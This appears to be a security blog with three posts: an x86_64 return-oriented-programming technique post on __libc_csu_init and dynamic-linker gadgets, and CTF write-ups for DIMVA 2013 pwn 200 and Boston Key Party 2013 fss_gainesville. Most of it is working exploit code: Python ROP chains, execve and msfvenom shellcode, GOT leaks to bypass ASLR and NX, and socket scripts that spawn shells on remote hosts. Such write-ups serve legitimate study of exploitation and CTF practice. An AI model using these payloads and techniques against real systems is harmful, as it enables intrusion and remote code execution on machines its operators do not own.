Unlike x86, x86_64 ROP payload needs the parameters to function call in registers. __libc_csu_init functions provides a few nice gadgets to load data into certain critical registers. Most importantly EDI, RSI and RDX. This is the sample code:
// gcc -O3 -o rop rop.c
#include <unistd.h>

int main(void) {
    char buf[64];
    read(0, buf, 2048);
    return 0;
}
The code was compiled with gcc 4.8.0. Looking into the binary we can see the default functions
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini
Below is the disassembly of __libc_csu_init
Dump of assembler code for function __libc_csu_init:
   0x0000000000401830 <+0>: mov    QWORD PTR [rsp-0x28],rbp
   0x0000000000401835 <+5>: mov    QWORD PTR [rsp-0x20],r12
   0x000000000040183a <+10>: lea    rbp,[rip+0x2007c7]        # 0x602008
   0x0000000000401841 <+17>: lea    r12,[rip+0x2007b8]        # 0x602000
   0x0000000000401848 <+24>: mov    QWORD PTR [rsp-0x30],rbx
   0x000000000040184d <+29>: mov    QWORD PTR [rsp-0x18],r13
   0x0000000000401852 <+34>: mov    QWORD PTR [rsp-0x10],r14
   0x0000000000401857 <+39>: mov    QWORD PTR [rsp-0x8],r15
   0x000000000040185c <+44>: sub    rsp,0x38
   0x0000000000401860 <+48>: sub    rbp,r12
   0x0000000000401863 <+51>: mov    r15d,edi
   0x0000000000401866 <+54>: mov    r14,rsi
   0x0000000000401869 <+57>: sar    rbp,0x3
   0x000000000040186d <+61>: mov    r13,rdx
   0x0000000000401870 <+64>: xor    ebx,ebx
   0x0000000000401872 <+66>: call   0x400708 <_init>
   0x0000000000401877 <+71>: test   rbp,rbp
   0x000000000040187a <+74>: je     0x401896 <__libc_csu_init+102>
   0x000000000040187c <+76>: nop    DWORD PTR [rax+0x0]
   0x0000000000401880 <+80>: mov    rdx,r13
   0x0000000000401883 <+83>: mov    rsi,r14
   0x0000000000401886 <+86>: mov    edi,r15d
   0x0000000000401889 <+89>: call   QWORD PTR [r12+rbx*8]
   0x000000000040188d <+93>: add    rbx,0x1
   0x0000000000401891 <+97>: cmp    rbx,rbp
   0x0000000000401894 <+100>: jne    0x401880 <__libc_csu_init+80>
   0x0000000000401896 <+102>: mov    rbx,QWORD PTR [rsp+0x8]
   0x000000000040189b <+107>: mov    rbp,QWORD PTR [rsp+0x10]
   0x00000000004018a0 <+112>: mov    r12,QWORD PTR [rsp+0x18]
   0x00000000004018a5 <+117>: mov    r13,QWORD PTR [rsp+0x20]
   0x00000000004018aa <+122>: mov    r14,QWORD PTR [rsp+0x28]
   0x00000000004018af <+127>: mov    r15,QWORD PTR [rsp+0x30]
   0x00000000004018b4 <+132>: add    rsp,0x38
   0x00000000004018b8 <+136>: ret 
Controlling registers EDI and ESI:

Unaligned instrutions right at the bottom of the __libc_csu_init provides us with gadgets to load EDI and ESI
gdb-peda$ x/4i 0x00000000004018ab
   0x4018ab <__libc_csu_init+123>: mov    esi,DWORD PTR [rsp+0x28]
   0x4018af <__libc_csu_init+127>: mov    r15,QWORD PTR [rsp+0x30]
   0x4018b4 <__libc_csu_init+132>: add    rsp,0x38
   0x4018b8 <__libc_csu_init+136>: ret 
gdb-peda$ x/3i 0x00000000004018b0
   0x4018b0 <__libc_csu_init+128>: mov    edi,DWORD PTR [rsp+0x30]
   0x4018b4 <__libc_csu_init+132>: add    rsp,0x38
   0x4018b8 <__libc_csu_init+136>: ret 
These gadgets give us some control over EDI and ESI which makes up the first 2 parameters for making function call

Controlling registers EDI, RSI and RDX:

The 3rd parameter for function call is loaded into RDX, __libc_csu_init has the gadget to load RDX, but there are few other things we have to control
   0x0000000000401889 <+89>: call   QWORD PTR [r12+rbx*8]
   0x000000000040188d <+93>: add    rbx,0x1
   0x0000000000401891 <+97>: cmp    rbx,rbp
   0x0000000000401894 <+100>: jne    0x401880 <__libc_csu_init+80>
To effectively use mov rdx,r13 , we have to ensure that call QWORD PTR [r12+rbx*8] doesn't SIGSEGV, cmp rbx,rbp equals and most importantly value of RDX is not altered.
In _DYNAMIC variable ie. .dynamic section of executable we can find pointers to _init and _fini section
gdb-peda$ x/10x &_DYNAMIC 
0x6006f0: 0x0000000000000001 0x0000000000000010
0x600700: 0x000000000000000c 0x0000000000400378
0x600710: 0x000000000000000d 0x0000000000400618
0x600720: 0x0000000000000004 0x0000000000400240
0x600730: 0x0000000000000005 0x00000000004002c8
gdb-peda$ x/i 0x0000000000400378
   0x400378 <_init>: sub    rsp,0x8
gdb-peda$ x/i 0x0000000000400618
   0x400618 <_fini>: sub    rsp,0x8
gdb-peda$ x/gx 0x600718
0x600718: 0x0000000000400618
We can make call QWORD PTR [r12+rbx*8] point to 0x600718, so that _fini is called. This is what _fini looks like
gdb-peda$ disass _fini
Dump of assembler code for function _fini:
   0x0000000000400618 <+0>: sub    rsp,0x8
   0x000000000040061c <+4>: call   0x400480 <__do_global_dtors_aux>
   0x0000000000400621 <+9>: add    rsp,0x8
   0x0000000000400625 <+13>: ret    
End of assembler dump.
_fini function and subsequent functions called from _fini doesn't disturb the state of RDX register and RBX value is preserved. Below is the POC:
#!/usr/bin/env python

import struct

payload  = "A" * 72
payload += struct.pack("<Q", 0x00000000004005b6) 
# mov rbx,QWORD PTR [rsp+0x08]; mov rbp,QWORD PTR [rsp+0x10]; mov r12,QWORD PTR [rsp+0x18] ; 
# mov r13,QWORD PTR [rsp+0x20]; mov r14,QWORD PTR [rsp+0x28]; mov r15,QWORD PTR [rsp+0x30] ; add rsp,0x38 ; ret
payload += "A" * 8

# Adjust Offset & Address such that 0x0a is avoided & call QWORD PTR [r12+rbx*8] points to _fini
payload += struct.pack("<Q", 0x0)        # Offset of pointer to _fini function in RBX
payload += struct.pack("<Q", 0x1)        # To pass cmp rbx,rbp check in RBP
payload += struct.pack("<Q", 0x600718)   # address in R12

payload += "B"*8       # Value for EDI register
payload += "C"*8       # Value for RSI register
payload += "D"*8       # Value for RDX register

payload += struct.pack("<Q", 0x00000000004005a0)
# mov rdx,r15; mov rsi,r14; mov edi,r13d; call QWORD PTR [r12+rbx*8]; add rbx,0x1; cmp rbx,rbp; jb 0x4005a0 <__libc_csu_init+80> 
# mov rbx,QWORD PTR [rsp+0x08]; mov rbp,QWORD PTR [rsp+0x10]; mov r12,QWORD PTR [rsp+0x18] ; 
# mov r13,QWORD PTR [rsp+0x20]; mov r14,QWORD PTR [rsp+0x28]; mov r15,QWORD PTR [rsp+0x30] ; add rsp,0x38 ; ret

payload += "E"*56
payload += struct.pack("<Q", 0xdeadbeef)
print payload
Running the exploit we get
gdb-peda$ info registers
rax            0x7 0x7
rbx            0x4545454545454545 0x4545454545454545
rcx            0x38b7ad41d0 0x38b7ad41d0
rdx            0x4444444444444444 0x4444444444444444
rsi            0x4343434343434343 0x4343434343434343
rdi            0x42424242 0x42424242
rbp            0x4545454545454545 0x4545454545454545
rsp            0x7fffbbd90350 0x7fffbbd90350
r8             0x38b7d7a300 0x38b7d7a300
r9             0x38b720e8e0 0x38b720e8e0
r10            0x7fffbbd90000 0x7fffbbd90000
r11            0x246 0x246
r12            0x4545454545454545 0x4545454545454545
r13            0x4545454545454545 0x4545454545454545
r14            0x4545454545454545 0x4545454545454545
r15            0x4545454545454545 0x4545454545454545
rip            0xdeadbeef 0xdeadbeef
eflags         0x10206 [ PF IF RF ]
cs             0x33 0x33
ss             0x2b 0x2b
ds             0x0 0x0
es             0x0 0x0
fs             0x0 0x0
gs             0x0 0x0
gdb-peda$ x/i $rip
=> 0xdeadbeef: Cannot access memory at address 0xdeadbeef
We can see that EDI, RSI and RDX are loaded with user controlled data. One can also make call QWORD PTR [r12+rbx*8] point to GOT address of functions instead of _fini, as per requirement.

Stack Shifting gadget:

Another important gadget that __libc_csu_init provides is pop rsp. This can be used to shift stack to desired location, say .bss/.data section
gdb-peda$ x/9i 0x0000000000401898
   0x401898 <__libc_csu_init+104>: pop    rsp
   0x401899 <__libc_csu_init+105>: and    al,0x8
   0x40189b <__libc_csu_init+107>: mov    rbp,QWORD PTR [rsp+0x10]
   0x4018a0 <__libc_csu_init+112>: mov    r12,QWORD PTR [rsp+0x18]
   0x4018a5 <__libc_csu_init+117>: mov    r13,QWORD PTR [rsp+0x20]
   0x4018aa <__libc_csu_init+122>: mov    r14,QWORD PTR [rsp+0x28]
   0x4018af <__libc_csu_init+127>: mov    r15,QWORD PTR [rsp+0x30]
   0x4018b4 <__libc_csu_init+132>: add    rsp,0x38
   0x4018b8 <__libc_csu_init+136>: ret

Dereference with respect to RSP:

This gadget might be useful to work with function pointers in stack
gdb-peda$ x/16i 0x40188a
   0x40188a <__libc_csu_init+90>: call   QWORD PTR [rsp+rbx*8]
   0x40188d <__libc_csu_init+93>: add    rbx,0x1
   0x401891 <__libc_csu_init+97>: cmp    rbx,rbp
   0x401894 <__libc_csu_init+100>: jne    0x401880 <__libc_csu_init+80>
   0x401896 <__libc_csu_init+102>: mov    rbx,QWORD PTR [rsp+0x8]
   0x40189b <__libc_csu_init+107>: mov    rbp,QWORD PTR [rsp+0x10]
   0x4018a0 <__libc_csu_init+112>: mov    r12,QWORD PTR [rsp+0x18]
   0x4018a5 <__libc_csu_init+117>: mov    r13,QWORD PTR [rsp+0x20]
   0x4018aa <__libc_csu_init+122>: mov    r14,QWORD PTR [rsp+0x28]
   0x4018af <__libc_csu_init+127>: mov    r15,QWORD PTR [rsp+0x30]
   0x4018b4 <__libc_csu_init+132>: add    rsp,0x38
   0x4018b8 <__libc_csu_init+136>: ret 
Chaining Gadgets from Linker:

_dl_runtime_resolve function in dynamic linker has the following sequnce of instructions
   0x38b7214780 <_dl_runtime_resolve>:    sub    rsp,0x38
   0x38b7214784 <_dl_runtime_resolve+4>:  mov    QWORD PTR [rsp],rax
   0x38b7214788 <_dl_runtime_resolve+8>:  mov    QWORD PTR [rsp+0x8],rcx
   0x38b721478d <_dl_runtime_resolve+13>: mov    QWORD PTR [rsp+0x10],rdx
   0x38b7214792 <_dl_runtime_resolve+18>: mov    QWORD PTR [rsp+0x18],rsi
   0x38b7214797 <_dl_runtime_resolve+23>: mov    QWORD PTR [rsp+0x20],rdi
   0x38b721479c <_dl_runtime_resolve+28>: mov    QWORD PTR [rsp+0x28],r8
   0x38b72147a1 <_dl_runtime_resolve+33>: mov    QWORD PTR [rsp+0x30],r9
   0x38b72147a6 <_dl_runtime_resolve+38>: mov    rsi,QWORD PTR [rsp+0x40]
   0x38b72147ab <_dl_runtime_resolve+43>: mov    rdi,QWORD PTR [rsp+0x38]
   0x38b72147b0 <_dl_runtime_resolve+48>: call   0x38b720de00 <_dl_fixup>
   0x38b72147b5 <_dl_runtime_resolve+53>: mov    r11,rax    @ 0x35
   0x38b72147b8 <_dl_runtime_resolve+56>: mov    r9,QWORD PTR [rsp+0x30]
   0x38b72147bd <_dl_runtime_resolve+61>: mov    r8,QWORD PTR [rsp+0x28]
   0x38b72147c2 <_dl_runtime_resolve+66>: mov    rdi,QWORD PTR [rsp+0x20]
   0x38b72147c7 <_dl_runtime_resolve+71>: mov    rsi,QWORD PTR [rsp+0x18]
   0x38b72147cc <_dl_runtime_resolve+76>: mov    rdx,QWORD PTR [rsp+0x10]
   0x38b72147d1 <_dl_runtime_resolve+81>: mov    rcx,QWORD PTR [rsp+0x8]
   0x38b72147d6 <_dl_runtime_resolve+86>: mov    rax,QWORD PTR [rsp]
   0x38b72147da <_dl_runtime_resolve+90>: add    rsp,0x48
   0x38b72147de <_dl_runtime_resolve+94>: jmp    r11
gdb-peda$ disass read
Dump of assembler code for function read@plt:
   0x00000000004003e8 <+0>: jmp    QWORD PTR [rip+0x20056a]  # 0x600958 <read@got.plt>
   0x00000000004003ee <+6>: push   0x1
   0x00000000004003f3 <+11>: jmp    0x4003c8    # PLT [0] 
End of assembler dump.
PLT [0] code:
gdb-peda$ x/3i 0x4003c8
   0x4003c8: push   QWORD PTR [rip+0x200572]   # 0x600940
   0x4003ce: jmp    QWORD PTR [rip+0x200574]   # 0x600948, GOT entry ie PLTGOT+16
   0x4003d4: nop    DWORD PTR [rax+0x0]
gdb-peda$ x/x 0x600948
0x600948: 0x00000000
gdb-peda$ break *main
Breakpoint 1 at 0x400578
gdb-peda$ run
gdb-peda$ x/x 0x600948
0x600948: 0x00000038b7214780      # address of _dl_runtime_resolve
The code at 0x4003c8 which is PLT[0] calls _dl_runtime_resolve in dynamic linker to resolve the address of libc functions during runtime. If one can leak the address of _dl_runtime_resolve by reading the GOT entry, the interesting gadget sequence is located at offset 0x35, from the leaked address
   0x38b72147b5 <_dl_runtime_resolve+53>: mov    r11,rax    @ 0x35 + GOT
   0x38b72147b8 <_dl_runtime_resolve+56>: mov    r9,QWORD PTR [rsp+0x30]
   0x38b72147bd <_dl_runtime_resolve+61>: mov    r8,QWORD PTR [rsp+0x28]
   0x38b72147c2 <_dl_runtime_resolve+66>: mov    rdi,QWORD PTR [rsp+0x20]
   0x38b72147c7 <_dl_runtime_resolve+71>: mov    rsi,QWORD PTR [rsp+0x18]
   0x38b72147cc <_dl_runtime_resolve+76>: mov    rdx,QWORD PTR [rsp+0x10]
   0x38b72147d1 <_dl_runtime_resolve+81>: mov    rcx,QWORD PTR [rsp+0x8]
   0x38b72147d6 <_dl_runtime_resolve+86>: mov    rax,QWORD PTR [rsp]
   0x38b72147da <_dl_runtime_resolve+90>: add    rsp,0x48
   0x38b72147de <_dl_runtime_resolve+94>: jmp    r11
If register RAX can be loaded with user controlled value, the above gadget sequence can be used to call any functions as it can populate all necessary registers. Here is a simple POC exploit for a dummy code, ASLR was disabled for testing, but we need some info leak when ASLR is enabled
#!/usr/bin/env python

#   GADGET 
#   0x38b72147b5 <_dl_runtime_resolve+53>: mov    r11,rax    @ 0x35 from GOT used for PLT[0], leaked address
#   0x38b72147b8 <_dl_runtime_resolve+56>: mov    r9,QWORD PTR [rsp+0x30]
#   0x38b72147bd <_dl_runtime_resolve+61>: mov    r8,QWORD PTR [rsp+0x28]
#   0x38b72147c2 <_dl_runtime_resolve+66>: mov    rdi,QWORD PTR [rsp+0x20]
#   0x38b72147c7 <_dl_runtime_resolve+71>: mov    rsi,QWORD PTR [rsp+0x18]
#   0x38b72147cc <_dl_runtime_resolve+76>: mov    rdx,QWORD PTR [rsp+0x10]
#   0x38b72147d1 <_dl_runtime_resolve+81>: mov    rcx,QWORD PTR [rsp+0x8]
#   0x38b72147d6 <_dl_runtime_resolve+86>: mov    rax,QWORD PTR [rsp]
#   0x38b72147da <_dl_runtime_resolve+90>: add    rsp,0x48
#   0x38b72147de <_dl_runtime_resolve+94>: jmp    r11

import struct
import socket
import time

ip = "127.0.0.1"
port = 3337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

shellcode = ( "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" +
              "\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" +
              "\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" )

payload  = "A" * 72

# call mmap
payload += struct.pack("<Q", 0x00400574)     # pop rax
payload += struct.pack("<Q", 0x38b7addfd0 )  # address of mmap@libc

payload += struct.pack("<Q", 0x38b72147b5 )  # gadget from linker
payload += "ANYTHING"                           # For RAX
payload += struct.pack("<Q", 34 )            # For RCX, 4th param
payload += struct.pack("<Q", 7 )             # For RDX, 3rd param
payload += struct.pack("<Q", 1024 )          # For RSI, 2nd param
payload += struct.pack("<Q", 0x0badc000 )    # For RDI, 1st param
payload += struct.pack("<Q", 0 )             # For R8,  5th param
payload += struct.pack("<Q", 0 )             # For R9,  6th param
payload += "MOVEMOVE"
payload += "MOVEMOVE"

payload += struct.pack("<Q", 0x00400574)     # pop rax
payload += struct.pack("<Q", 0x004003e8 )    # For RAX, read@PLT

# call read
payload += struct.pack("<Q", 0x38b72147b5 )  # gadget from linker
payload += "ANYTHING"                           # For RAX
payload += "ANYTHING"                           # For RCX, 4th param
payload += struct.pack("<Q", 1024 )          # For RDX, 3rd param
payload += struct.pack("<Q", 0x0badc000 )    # For RSI, 2nd param
payload += struct.pack("<Q", 0 )             # For RDI, 1st param, stdin
payload += "ANYTHING"                           # For R8,  5th param
payload += "ANYTHING"                           # For R9,  6th param
payload += "MOVEMOVE"
payload += "MOVEMOVE"

payload += struct.pack("<Q", 0x0badc000 )    # jump to shellcode 

soc.send(payload + "\n")
time.sleep(1)
soc.send(shellcode + "\n")
soc.send("id\n")

print soc.recv(1024)
[ctf@renorobert ret2linker]$ python exploit.py 
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Will update post when I find more info.

Monday, July 22, 2013

DIMVA CTF 2013 - pwn 200 - [Team xbios]

We were given a 32 bit Linux ELF executable with NX enabled. The executable is very much similar to pwn100. As pwn100, we can overwrite function pointer in signal handler and there is a format string bug, which in turn can trigger a buffer overflow in main() and send_back() functions.
main  {
    read(client_sockfd, buffer, 0x800);
    strncpy(tech_id, buffer, 0x100); 
    sprintf(&v10, tech_id);  // format string bug
    sprintf(&v5, "\n> Thank you %s\n> Now please send your code using your RETL Flux Capacitor device.\n", &v10); 
    send_back(&v5);
}

send_back(const char *src)  {
    char buf[2048]; 
    memset(&buf, 0, 0x800);
    strncpy(&buf, src, strlen(src) - 1); // length parameter computed from user input
    return send(client_sockfd, &buf, strlen(&buf) - 1, 0);
}
Below input can overwrite saved EIP in send_back()
%2000d + "A" * 200
But I didn't exploit this vulnerability. We still went for same function pointer overwrite in signal handler, but this time with ROP. Here is the idea of exploit

[*] CALL EAX instruction points to gadget to shift ESP into user data past the header
[*] Call dup2(4, stdin) and dup2(4, stdout)
[*] Now call execve() to execute /bin/sh. Calling system() inside siganl didn't work, giving BAD ADDRESS error. Looks like an issue with signal safety
[*] Offsets of libc functions are computed using the copy of libc obtained from pwn100 shell

Below is the exploit:
#!/usr/bin/env python

import socket
from hashlib import sha256
import struct
import time

#ip = "127.0.0.1"
ip = "dimvactf.0x90.eu"
#port = 7778
port = 1120

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
print soc.recv(1024)

libc_start_main = 0x193e0
dup2 = 0xdedd0
execve = 0xb82e0

format = "ProtoSecure1.0 " + struct.pack("B", 0x80) # 16 bytes
hash = sha256(struct.pack("<I", 0x0806b264) * 32).digest()
string_for_hash = struct.pack("<I", 0x0806b264) * 32  # ret as NOP
payload  = struct.pack("<I", 0x0806b264) * 275   # ret

# dup2 stdin
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", dup2 - libc_start_main)   # Offset to dup2
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x0804b1d2)   # call eax
payload += struct.pack("<I", 0x4)          # socket
payload += struct.pack("<I", 0x0)          # stdin
payload += "A" * 52

# dup2 stdout
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", dup2 - libc_start_main)   # Offset to dup2_remote
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x0804b1d2)   # call eax
payload += struct.pack("<I", 0x4)          # socket
payload += struct.pack("<I", 0x1)          # stdout
payload += "A" * 52

# execve
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", execve - libc_start_main)   # Offset to execve_remote
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x08048eef)   # call eax
payload += struct.pack("<I", 0x0806ed40+1528)   # parameters for execve
payload += struct.pack("<I", 0x0)
payload += struct.pack("<I", 0x0)
payload += "/bin"
payload += "//sh"
payload += struct.pack("<I", 0x0)

# stack pivot for call eax
payload += struct.pack("<I", 0x080565ee)    # add esp, 0x5C

code = (format + hash + string_for_hash + payload)
soc.send(code + "\n")
time.sleep(1)
print soc.recv(2048)

soc.send(code + "\n")
time.sleep(1)
print soc.recv(1024)

soc.send("/bin/cat flag\n")
time.sleep(1)
print soc.recv(1024)
Flag for the challenge is c0ffee700ab3f9a35614f29d1cb65186

Meanwhile I wrote another exploit, as I faced some issues with first exploit. Eventually got both working. Here is the exploit

[*] mmap() a new memory area with RWX permission
[*] call read() and copy payload into buffer
[*] Jump to this buffer
#!/usr/bin/env python

import socket
from hashlib import sha256
import struct
import time

#ip = "127.0.0.1"
ip = "dimvactf.0x90.eu"
#port = 7778
port = 1120

libc_start_main = 0x193e0
mmap = 0xeb0e0
read = 0xde440 

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
print soc.recv(1024)


format = "ProtoSecure1.0 " + struct.pack("B", 0x80) # 16 bytes
hash = sha256(struct.pack("<I", 0x0806b264) * 32).digest()
string_for_hash = struct.pack("<I", 0x0806b264) * 32  # ret as NOP

payload  = struct.pack("<I", 0x0806b264) * 290   # ret as NOP

# mmap
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", mmap - libc_start_main)   # Offset to mmap
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x0804b1d2)   # call eax
payload += struct.pack("<I", 0xbadc000)    # addr for mmap
payload += struct.pack("<I", 1024)         # size
payload += struct.pack("<I", 7)            # permission
payload += struct.pack("<I", 34)   
payload += struct.pack("<I", 0x0)
payload += struct.pack("<I", 0x0)
payload += "A" * 36

# read
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", read - libc_start_main)   # Offset to read
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x0804b1d2)   # call eax
payload += struct.pack("<I", 0x4)          # socket
payload += struct.pack("<I", 0xbadc000)    # buffer
payload += struct.pack("<I", 1024)         # size
payload += "A" * 48
payload += struct.pack("<I", 0xbadc000)    # return address

# call eax, stack pivot 
payload += struct.pack("<I", 0x080565ee)   # add esp, 0x5C ; ret

code = (format + hash + string_for_hash + payload)
soc.send(code + "\n")
time.sleep(1)
print soc.recv(2048)

soc.send(code + "\n")
time.sleep(1)
print soc.recv(1024)

dup2 = ( "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04" +
         "\xcd\x80\x75\xf6" )                 # 18 bytes

# msfvenom /bin/sh
shell = ( "\xdb\xc1\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\xb8\x79\x0f" +   # 70 bytes
          "\x74\x5a\x83\xc3\x04\x31\x43\x16\x03\x43\x16\xe2\x8c\x65" +
          "\x7f\x02\xf7\x28\x19\xda\x2a\xae\x6c\xfd\x5c\x1f\x1c\x6a" +
          "\x9c\x37\xcd\x08\xf5\xa9\x98\x2e\x57\xde\x93\xb0\x57\x1e" +
          "\x8b\xd2\x3e\x70\xfc\x61\xa8\x8c\x55\xd5\xa1\x6c\x94\x59" )

soc.send(dup2 + shell + "\n")
soc.send("/bin/cat flag\n")
time.sleep(1)
print soc.recv(1024)

Tuesday, June 11, 2013

Boston Key Party CTF 2013 - Pwnable 200 - fss_gainesville - [Team xbios]

We were given a ELF 64-bit LSB executable. Its running on 50.112.133.81 30002. After analysing the binary, we found a buffer overflow vulnerability in pirep() function. This is how to trigger the vulnerability
(gdb) run 
 Welcome to Florida Gainesville Radio Flight Service Station

Would you like to: 
1) File a flight plan
2) Open or Close a flight plan
3) List flight plans on file
4) Get airport weather information
5) Submit a PIREP
6) Quit
> 5
Please enter coded PIREP: UB /OV OKC /TM 1522 /FL 080 /TP CE172 / AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
Invalid Report Type, consult documentation

Program received signal SIGSEGV, Segmentation fault.
0x000000000040171c in pirep ()
(gdb) info registers
rax            0x2b 43
rbx            0x0 0
rcx            0xffffffff 4294967295
rdx            0x38b7d7ae10 243602533904
rsi            0x7ffff7ffc000 140737354121216
rdi            0x0 0
rbp            0x4242424242424242 0x4242424242424242
rsp            0x7fffffffe128 0x7fffffffe128
r8             0x542074726f706552 6061973133285418322
r9             0x6e6f63202c657079 7957688056421904505
r10            0x636f6420746c7573 7165055622724744563
r11            0x246 582
r12            0x400820 4196384
r13            0x7fffffffe230 140737488347696
r14            0x0 0
r15            0x0 0
rip            0x40171c 0x40171c <pirep+487>
eflags         0x10206 [ PF IF RF ]
cs             0x33 51
ss             0x2b 43
ds             0x0 0
es             0x0 0
fs             0x0 0
gs             0x0 0
(gdb) x/i $rip
=> 0x40171c <pirep+487>: retq
Sending a PIREP in proper format with 160 bytes overwrites saved RIP. Input is taken using read function as read(0, $RBP-0x90, 0x400). NX, stack and libc ASLR are enabled. We need to built a ROP payload to bypass these protections. Along with the binary, we also have the libc library used in the remote machine. Here is the plan of the exploit:

[*] Compute the offset difference between __libc_start_main and system functions from the given libc.so.6 file
[*] Leak randomized address of __libc_start_main from the GOT entry of the executable
[*] Add the offset to the leaked address, this will give the address of randomized system function
[*] Load the registers with needed arguments, x86-64 uses different calling convention
[*] Jump into system function in libc to execute commands

To load register EDI .ie argument number 1, I used the below gadget
0x004018b0 : mov edi, dword [rsp+0x30] ; add rsp, 0x38 ; ret
Since I couldn't find much gadgets to load other registers, puts() function was used for information leak. Unlike write(), puts() takes only one argument, so its enough to load register EDI with the GOT address of __libc_start_main. Here is the exploit structure

Stage ONE:
[*] Overwrite RBP with .bss address
[*] Overwrite RIP with address of gadget mov edi, dword [rsp+0x30] ; add rsp, 0x38
[*] Fill stack such that EDI is loaded with GOT address of __libc_start_main
[*] Return into address 0x0040174a, this is call to puts() in main() function. This also results in code replay
[*] Call to puts(), will leak address of randomized __libc_start_main

Stage TWO:
[*] RBP is restored to stack due to call of pirep() again from main()
[*] Fill stack using read(0, $RBP-0x90, 0x400) such that saved RIP points to gadget mov edi, dword [rsp+0x30] ; add rsp, 0x38
[*] Load EDI with the address of "sh" string
[*] Compute address of system function(leaked address + offset) and return into this address

Below is the exploit:
#!/usr/bin/env python

import struct
import socket

ip = "50.112.133.81"
port = 30002

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
print soc.recv(1024)

libc_start_main = 0x0000000000021680
system = 0x0000000000045660
got_libc_start_main = 0x000000602240

PIREP = "UB /OV OKC /TM 1522 /FL 080 /TP CE172 / " # PIREP format
option = "5"
JUNK = "MOVEMOVE"

################################# stage 1 ####################################

print soc.recv(1024)
soc.send(option + "\n")
print soc.recv(1024)

payload  = PIREP
payload += "A" * 104
payload += struct.pack("<Q", 0x006022a0) # .bss address for RBP
payload += struct.pack("<Q", 0x004018b0) # mov edi, dword [rsp+0x30] ; add rsp, 0x38
payload += JUNK * 6
payload += struct.pack("<Q", got_libc_start_main)
payload += struct.pack("<Q", 0x0040174a) # replay code from call to puts() in main()

soc.send(payload + "\n")
leak = soc.recv(1024)
addr = struct.unpack("<Q", leak[43:49] + "\x00\x00")[0]
print hex(addr)

################################# stage 2 ####################################

print soc.recv(1024)
soc.send(option + "\n")
print soc.recv(1024)

payload2  = PIREP
payload2 += "A" * 104
payload2 += struct.pack("<Q", 0x006022a0) # .bss address for RBP
payload2 += struct.pack("<Q", 0x004018b0) # mov edi, dword [rsp+0x30] ; add rsp, 0x38
payload2 += JUNK * 6
payload2 += struct.pack("<Q", 0x0040046e) # addr of sh string
payload2 += struct.pack("<Q", (system - libc_start_main) + addr) # address of system

soc.send(payload2 + "\n")
soc.send("cat flag\n")
print repr(soc.recv(1024))
[ctf@renorobert fss_gainesville]$ python exploit.py
 Welcome to Florida Gainesville Radio Flight Service Station

